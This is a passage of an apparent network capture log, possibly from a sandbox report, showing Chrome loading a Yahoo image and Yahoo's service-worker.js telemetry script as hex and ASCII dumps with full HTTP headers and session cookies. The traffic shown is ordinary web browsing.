{"id":"1704929233549","at":1,"cur":["USD"],"imp":[{"id":"26653673730229191704929233481","tagid":"5537298","bidfloor":0.05,"secure":1,"ext":{"data":{"pbadslot":"us_yhp_main_dt_top_right"},"gpid":"us_yhp_main_dt_top_right"},"bidfloorcur":"USD","banner":{"w"
2024-01-10 23:27:15 UTC	227	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache, no-store, must-revalidate Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49951	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	522	OUT	GET /uu/api/res/1.2/J7SrLbVORhOwvVMDOguVjQ--~B/Zmk9c3RyaW07aD0xNDI7cT05NTt3PTI2ODthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/popular_mechanics_642/0973f80037db8e5fa7ca77dcb63b6750.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1269	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 410023419103156732552612165396865724809,323344900116126384364143075234041755169,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="0973f80037db8e5fa7ca77dcb63b6750.webp" Edge-Cache-Tag: 410023419103156732552612165396865724809,323344900116126384364143075234041755169,ae7a14591aaf8d474cdb3f92111c923e Etag: "4d666be3bba78588c5b1e716279d5887" Last-Modified: Wed, 10 Jan 2024 21:44:03 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=268,height=142,bytes=11522,owidth=448,oheight=252,obytes=18941,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 6d1974716c2b57c2a151dc0a37ee3441 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:14 GMT X-Served-By: cache-lga21960-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704929235.872674,VS0,VE1 Age: 0 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 6d1974716c2b57c2a151dc0a37ee3441 cld_by: cache-lga21960-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 14894 Connection: close
2024-01-10 23:27:14 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 8e 01 0c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 08 03 05 06 07 02 04 09 01 00 ff c4 00 43 10 00 01 03 03 02 04 04 03 06 04 03 06 06 03 00 00 01 02 03 04 00 05 11 06 21 07 12 31 41 08 13 51 61 22 71 81 09 14 32 42 91 a1 Data Ascii: JFIFCCC!1AQa"q2B
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ab 38 7b 74 5d af 59 69 c6 12 2e 96 a5 12 58 b9 32 92 a0 5d 0d e7 f1 6c 32 52 33 b7 cc 55 1b 74 69 17 7a 95 c2 43 c3 e7 8d 3d 35 c5 17 99 b0 ea a8 a2 c7 7f 5e 12 50 57 96 5c 56 07 e1 51 c7 5c ed 4c 43 e2 66 df a5 db c0 4d a1 f0 f2 7c c4 ac 28 28 64 10 6b 90 f2 67 b4 6d d0 50 29 47 bd 18 e0 a0 51 14 22 1e a3 75 54 3a 6d b4 8d fa d4 05 f2 6c 25 3e f5 0b 19 10 08 c9 1d 2a 10 45 c4 e3 a1 dc 57 60 e6 e6 ac a9 0d c5 69 52 1f 71 28 6d 00 95 13 d8 7a d5 59 b7 2d 30 07 7e 25 7c 55 ea fb 44 29 90 38 6f 01 71 a1 b0 bf 21 fb aa c0 2a 2a ff 00 db 41 df 1f f5 54 aa a8 b1 ba 85 6d 91 40 e6 cd 67 d7 9c 69 ba 4f ba 9b ca ef 12 e2 a8 3a eb 72 1d 2a 5e 09 ea 90 af e9 5a 71 15 d1 f0 2e cf 99 ad a8 34 03 fa 6a e0 82 9b cb 28 96 96 cb a9 71 3b 72 14 9f 89 b5 24 fe 15 8c 74 23 Data Ascii: 8{t]Yi.X2]l2R3UtizC=5^PW\VQ\LCfM\|((dkgmP)GQ"uT:ml%>EW`iRq(mzY-0~%\|UD)8oq!ATm@giO:r^Zq.4j(q;r$t#
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: dd 65 c4 f3 25 6d a8 29 2a 07 b8 22 86 8f 97 49 29 81 98 18 ab 1c 31 5a 0e 32 45 77 c1 36 dc c3 cb 1e 95 37 26 23 a7 9b 97 55 cb e9 40 dc 36 e2 6e bc a0 41 1d f6 c5 4d ca ec 73 bf ed 3e d5 0f bb 75 d2 ba 55 0f 2d b6 03 4e c9 59 4a f6 52 89 e5 c7 d0 0f de ac bd 23 73 6f 47 5f 69 45 70 e2 cb 0a d6 88 4d a3 0a 53 8c b6 e9 ce 0f 29 29 07 03 da bc e7 13 bd 99 b6 3d d7 0e d3 c2 55 90 52 f0 ea c5 1a e6 84 c8 5b 49 4a 70 32 42 b7 eb d6 bc fe 53 32 5f 55 66 05 f9 63 b2 b3 16 3b 49 69 19 48 48 c7 f9 53 29 07 9f b2 dc d8 7b 6d 82 13 ca bc e3 d0 1c 51 f6 91 67 db 61 61 c9 85 02 9e a3 1b d7 77 05 bc 19 b4 1b 3c dc 9b 60 e0 d5 a2 41 b4 9f 16 90 16 48 14 58 49 06 d3 d0 f1 e8 4c bc ce 16 90 41 f5 1b d5 dd 3a 11 1c a8 f8 9d 05 0d 47 5b a8 fc 99 c9 27 a0 a4 1e 4d ee 1c f1 Data Ascii: e%m)*"I)1Z2Ew67&#U@6nAMs>uU-NYJR#soG_iEpMS))=UR[IJp2BS2_Ufc;IiHHS){mQgaaw<`AHXILA:G['M
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 69 9f 68 82 23 a0 2f 0a 9b 0e 3c cc ad 41 5c b8 25 38 c9 4e 12 73 f5 06 bc af 13 4f b9 27 bb d0 3e 75 85 f7 0c 2d cd dc 6d a9 75 0b 4b 41 40 7c 7c 87 27 d8 0f 4a c9 84 cc 53 5d 6a ab 16 fd a2 d7 19 84 20 a2 54 87 54 90 41 2a c0 ff 00 2a 6d 2a 88 31 6d b7 21 d5 70 92 eb 21 1c ca ef 44 65 86 f0 09 2c c4 69 7a c5 21 6e 15 7d f1 cc 76 01 22 96 6d 3c ee 17 9f 02 e9 b4 c8 48 f8 9d 51 07 04 24 1c 1a ea d4 c5 6c ba 36 37 e2 c4 29 49 f8 52 33 81 ba 8e 69 aa ea d8 52 c7 df c1 b0 eb 6e 2d 9e 54 ad 00 7a ef 57 64 c8 ac 31 05 d7 69 98 cc 17 94 97 1b 40 29 e5 0a 03 39 fa 52 8e bd 4d 0d 1b 43 36 c0 85 c4 e7 90 65 5c 19 70 92 d3 91 9c 2a 1b 03 cd 81 eb dc d3 fc 3a 32 b0 d9 d5 bf da 25 df 66 ad c5 d3 aa 75 9c 2c 12 d2 a3 47 74 a8 8e 9f 1a 80 19 f5 fe d5 ea 1b c1 e1 f5 ce Data Ascii: ih#/<A\%8NsO'>u-muKA@\|\|'JS]j TTA*m1m!p!De,iz!n}v"m<HQ$l67)IR3iRn-TzWd1i@)9RMC6e\p*:2%fu,Gt
2024-01-10 23:27:14 UTC	76	IN	Data Raw: 39 91 75 8b 26 1e a7 e1 cc d7 7c cc 80 60 72 af 19 ec 41 39 3f 4a e3 f0 e6 fd 9c 8d 64 7e 8a 93 59 6b 8d 3d af e5 49 87 a7 a2 ce 6e 61 0a 52 21 bc c7 2b c3 b8 01 3d 55 de 8f 46 91 ab 18 7d 62 ba 6c 38 f8 35 b2 aa 5f 88 c8 0a 98 Data Ascii: 9u&\|`rA9?Jd~Yk=InaR!+=UF}bl85_
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 4b 6b 86 c4 99 01 2b 1c aa 07 97 1b 83 f3 fd ab 5a ff 00 e2 83 1e 3d a4 e9 e3 2b c2 71 8e 94 8c 46 f2 74 4d ce a4 d7 20 82 7c de d5 d2 18 a9 4a 50 c2 85 24 34 53 9e 24 f8 83 70 d0 1a 2c 5c e0 34 eb bc ee f2 2c 36 b2 14 06 3a e4 52 ba 9c b6 e9 26 af 0b a6 bb df 66 39 cd c6 8e 29 5c 75 fd ce d7 0a ee f2 a5 2a 0b 85 10 df 75 59 59 6d c0 0a 92 73 d0 a5 58 de bb a7 96 ad 25 a4 f4 53 a7 4a de 15 42 77 81 9a 3d 0d 68 37 d8 5c 54 b6 99 00 12 39 77 00 0f ef 5e 6a cb f3 b6 47 75 37 f2 e6 11 4d 17 ae f7 d6 ae 4e 69 ad 15 64 fe 20 f3 4a e4 7a 4b a0 60 38 41 25 b4 92 08 4e 07 55 60 9c f4 ae d6 99 96 ed f6 29 c9 d7 cd 6d c5 2d 7a 34 44 5b 5d b9 e9 ea 58 69 71 14 b9 04 a0 92 79 c9 59 38 00 04 82 76 1f 2e d5 a7 0a b5 2e 45 67 51 08 32 5e 3c 3b ea d8 77 79 88 45 bf ee 2b Data Ascii: Kk+Z=+qFtM \|JP$4S$p,\4,6:R&f9)\u*uYYmsX%SJBw=h7\T9w^jGu7MNid JzK`8A%NU`)m-z4D[]XiqyY8v..EgQ2^<;wyE+
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: be 09 79 6d c5 6c 2d 7e b9 38 df 7a 65 1d b1 db 71 67 bd a0 7a b5 69 8b 64 6f 31 d8 f0 5b 6d c5 90 56 b0 3e 25 75 c6 4f 7a 98 66 05 f5 4c f0 53 9e 2e 58 fb ae 83 71 c6 1a 4a 4a 47 30 db d3 bd 12 a4 c2 e1 fd 03 e6 b3 b9 50 f0 2f 84 b1 6e 56 1b 15 e6 ec e1 98 5d 52 b9 58 51 05 b6 c7 50 39 7a 67 07 39 a3 df 73 f3 61 43 bd d8 55 30 74 07 47 5a d9 b2 69 8b 75 ad 84 72 22 3c 74 36 13 e9 b5 6f d2 ac a9 1b 9e 27 56 f9 d9 2c 4a ac 43 37 16 fe 64 7e d4 c0 a3 13 04 64 0e b5 76 eb 20 d7 c0 bb 69 eb bd 5e 57 73 a6 b5 c1 af bd 42 79 8c 6c e3 6a 49 fa 8a 15 be a5 ab f6 39 63 7f d1 17 ab 46 a0 d4 4b 69 97 24 33 05 e7 17 2e 2a 88 c2 db e6 c7 30 f7 1f e5 43 4b 15 24 d4 e5 34 a6 e5 57 76 66 5c 5b 35 c9 d8 bc e9 49 26 3b d9 4e 4a a3 28 85 20 9f 97 2a 77 f7 ad 0a ec dc ce 9a Data Ascii: yml-~8zeqgzido1[mV>%uOzfLS.XqJJG0P/nV]RXQP9zg9saCU0tGZiur"<t6o'V,JC7d~dv i^WsByljI9cFKi$3.0CK$4Wvf\[5I&;NJ( w
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 7d 9f 9a dc be 91 aa f5 95 aa de c9 58 2b 30 a3 ad e7 b9 7b f2 a9 58 48 3e f8 3f 2a 0d fc 4d 7f 10 b5 d0 3d 71 a7 43 69 5e 18 e9 58 3a 1f 48 c4 52 5a 49 25 c7 16 41 75 f7 3a 95 ad 43 aa 8d 64 46 ab 9d 67 53 6a 9a 30 a4 86 f8 5c e1 fc af e2 ba 82 4a f2 1a 75 94 c2 42 54 93 95 3c e2 b0 48 a6 ef 7c b6 51 15 4c 37 63 a4 56 98 2d 5b 2d 4c 40 69 20 25 86 92 8d bd 85 1e 3c 08 3c ee 28 ac 24 51 01 89 55 88 22 e2 d2 95 9d f3 49 30 ca f4 53 45 d2 0e 52 46 d4 19 90 ab e4 a2 78 e7 69 b6 da 64 22 fb 25 5e 4b 33 bf c3 57 c2 0a 43 c3 18 cf a6 46 6b 2b 5a 8b ec 7a 2e 17 7b 37 68 34 ff 00 b5 43 41 71 41 0f 30 e3 7f 75 bb 90 f2 03 24 72 67 38 5a 73 ec 7f a8 ac ac 3a 76 9e ab 08 ba ae e0 a4 d2 5a b6 25 ea 03 72 1a 73 1c e9 19 04 ef f3 ae a5 ff 00 89 85 7e 9b 06 93 2d 63 79 Data Ascii: }X+0{XH>?*M=qCi^X:HRZI%Au:CdFgSj0\JuBT<H\|QL7cV-[-L@i %<<($QU"I0SERFxid"%^K3WCFk+Zz.{7h4CAqA0u$rg8Zs:vZ%rs~-cy
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: e2 a6 ba 95 72 71 f6 58 92 a2 76 60 23 94 e4 ad 4a c0 03 fd 76 ab e9 d1 9d 8d cd 35 3c 94 c8 b3 38 6d e1 cf 88 b6 47 6d aa 3a be dc cd 99 4d b6 fb d1 be ee 55 21 0e 28 65 69 04 ec 37 c8 ce 6b 6e ad 0f c9 e7 78 87 19 ad f7 40 9f 83 0d b8 51 5b 8a d0 01 2d a4 24 63 da b5 2b af 15 c4 f2 d6 59 9c 9b 3d 53 46 28 38 58 bf e2 4d 7d 7f a5 75 7c 83 6f 04 c1 3d 28 f2 0a 3c 0a 7c 55 6c 88 7c 46 46 77 da b9 38 90 45 f4 85 b6 52 a0 08 23 7c 8a 0b 78 2d 1e 72 07 3d 43 e1 8e f1 33 51 cf 16 7d 5c dc 7d 2d 72 2e 2e 4d b9 d6 4a 9c 47 3f e2 4a 0f 4e 53 93 8f 4a 5a 68 51 d8 d5 ec 0e fa 1b 51 5c b8 5d a9 2e 1a 42 ee d9 4b f6 e9 8e 30 4e d9 c2 4e c7 3e 84 0c fd 45 25 7d 78 9a 35 d9 9a 84 1b 7c 47 17 2b 2a dc 8d 20 73 29 3c b9 f4 c7 5a 49 99 82 2d 5f 24 02 e7 79 f2 22 66 28 3c Data Ascii: rqXv`#Jv5<8mGm:MU!(ei7knx@Q[-$c+Y=SF(8XM}u\|o=(<\|Ul\|FFw8ER#\|x-r=C3Q}\}-r..MJG?JNSJZhQQ\].BK0NN>E%}x5\|G+* s)<ZI-_$y"f(<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	49946	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1064	OUT	GET /service-worker.js HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.yahoo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	1289	IN	HTTP/1.1 200 OK x-amz-id-2: XDoeOPAd1AnjCu+2HYPOt8Tmu4e7ijzSq6eP/3baD8ZO+MChxMM8Nwznb33La3T2zvpn9qTjucE= x-amz-request-id: QBDVAPZP4MZMC3DM Date: Wed, 10 Jan 2024 23:25:18 GMT Last-Modified: Thu, 25 May 2023 16:22:16 GMT x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=600 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 22980 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5dr4k2hipu9qu&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com X-Frame-Options: SAMEORIGIN Etag: "008cbc7a6fa2b266bfaaf8ed0ece3960" Age: 116 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:14 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 2f 2a 20 76 65 72 73 69 6f 6e 3a 20 31 2e 31 2e 35 32 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 72 3d 72 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 74 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 Data Ascii: /* version: 1.1.52 */!function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 29 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6e 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 6e 2c 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 6e 2c 72 2c 69 3d 7b 7d 2c 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 66 6f 72 28 72 3d 30 3b 72 3c 61 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 3d 61 5b 72 5d 2c 74 2e 69 6e 64 65 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 69 5b 6e Data Ascii: )in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){if(null==e)return{};var n,r,i=function(e,t){if(null==e)return{};var n,r,i={},a=Object.keys(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)>=0\|\|(i[n
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 2c 61 62 73 6f 72 62 56 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 73 28 6e 2c 74 5b 6e 5d 29 2c 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 63 6c 6f 6e 65 56 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 Data Ascii: (var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},absorbValid:function(e,t){for(var n in t)t.hasOwnProperty(n)&&(s(n,t[n]),e[n]=t[n])},clone:function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t},cloneValid:function(e){var t={};for(var
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 53 43 52 4f 4c 4c 3a 7b 65 74 72 67 3a 22 73 63 72 6f 6c 6c 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 48 4f 56 45 52 3a 7b 65 74 72 67 3a 22 68 6f 76 65 72 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 44 52 4f 50 3a 7b 65 74 72 67 3a 22 64 72 6f 70 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 44 52 41 47 3a 7b 65 74 72 67 3a 22 64 72 61 67 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 50 49 4e 43 48 3a 7b 65 74 72 67 3a 22 70 69 6e 63 68 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 4f 52 Data Ascii: sergenf:1},EVENT_TRIGGER_SCROLL:{etrg:"scroll",usergenf:1},EVENT_TRIGGER_HOVER:{etrg:"hover",usergenf:1},EVENT_TRIGGER_DROP:{etrg:"drop",usergenf:1},EVENT_TRIGGER_DRAG:{etrg:"drag",usergenf:1},EVENT_TRIGGER_PINCH:{etrg:"pinch",usergenf:1},EVENT_TRIGGER_OR
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 45 72 72 6f 72 28 22 69 6e 74 65 72 61 63 74 69 6f 6e 50 61 72 61 6d 73 20 61 72 65 20 49 4e 56 41 4c 49 44 22 29 7d 7d 72 65 74 75 72 6e 20 64 28 65 2c 22 63 6c 69 63 6b 22 2c 61 2c 69 29 7d 2c 75 6e 72 65 67 69 73 74 65 72 65 64 55 52 4c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 70 61 63 65 69 64 20 69 73 20 52 45 51 55 49 52 45 44 22 29 3b 69 66 28 70 61 72 73 65 49 6e 74 28 65 29 21 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 70 61 63 65 69 64 20 69 73 20 49 4e 56 41 4c 49 44 22 29 3b 69 66 28 21 74 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 Data Ascii: Error("interactionParams are INVALID")}}return d(e,"click",a,i)},unregisteredURL:function(e,t,n){if("string"!=typeof e&&"number"!=typeof e)throw new Error("Spaceid is REQUIRED");if(parseInt(e)!=e)throw new Error("Spaceid is INVALID");if(!t\|\|"string"!=type
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 69 6d 65 3a 44 61 74 65 2e 6e 6f 77 28 29 2d 65 7d 29 7d 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 28 29 2c 7b 75 6e 72 65 67 69 73 74 65 72 65 64 55 52 4c 3a 45 7d 3d 76 2c 53 3d 22 2f 5f 74 64 5f 61 70 69 2f 62 65 61 63 6f 6e 2f 22 2c 50 3d 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 77 22 2c 49 3d 65 3d 3e 72 28 28 66 75 6e 63 74 69 6f 6e 2a 28 2e 2e 2e 74 29 7b 6c 65 74 20 6e 3b 74 72 79 7b 72 65 74 75 72 6e 20 6e 3d 79 69 65 6c 64 20 65 28 2e 2e 2e 74 29 2c 79 69 65 6c 64 20 66 65 74 63 68 28 6e 2c 7b 6d 6f 64 65 3a 22 6e 6f 2d 63 6f 72 73 22 2c 63 72 65 64 65 6e 74 69 61 6c 73 3a 22 69 6e 63 6c 75 64 65 22 7d 29 2c 21 30 7d 63 61 74 Data Ascii: ime:Date.now()-e})}));return function(){return e.apply(this,arguments)}}(),{unregisteredURL:E}=v,S="/_td_api/beacon/",P="notification-sw",I=e=>r((function*(...t){let n;try{return n=yield e(...t),yield fetch(n,{mode:"no-cors",credentials:"include"}),!0}cat
